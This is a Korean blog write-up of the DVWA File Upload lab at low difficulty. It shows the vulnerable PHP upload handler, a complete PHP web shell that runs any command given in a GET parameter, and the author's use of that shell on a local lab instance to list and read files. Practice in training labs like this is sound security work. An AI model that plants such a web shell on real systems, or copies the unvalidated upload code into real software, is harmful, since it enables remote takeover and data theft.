파일을 업로드할 수 있는 기능이 있다.
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
구성 코드이다.
아무 파일이나 선택해서 업로드하면 hackable/uploads/ 폴더에 업로드되었다고 뜬다.
찾아가 보면 이렇게 업로드 된 것을 볼 수 있다.
파일 형식을 검사하지 않기 때문에 이미지 파일이 아니라 텍스트 파일도 올라갔다.
이를 이용해 php 웹 셸 코드를 올린다.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
이렇게 셸 코드를 작성해서 올리고
http://127.0.0.1/DVWA/hackable/uploads/shell.php 이 링크로 접속하면
입력할 수 있는 칸이 나온다.
여기서 dir 명령어를 치면
폴더 이름이 깨져서 안 보이기는 하지만 저장 폴더 안에 있는 파일들의 이름은 보인다.
윈도우 type 명령어를 이용해서 텍스트 파일을 읽어올 수도 있다.
'웹해킹 > DVWA' 카테고리의 다른 글
DVWA SQL Injection(low) 롸업 (0) | 2023.11.08 |
---|---|
DVWA Insecure CAPTCHA(low) 롸업 (0) | 2023.11.07 |
DVWA File Inclusion(low) 롸업 (0) | 2023.11.07 |
DVWA CSRF(low) 롸업 (0) | 2023.11.07 |
DVWA Command Injection(low) 롸업 (0) | 2023.11.06 |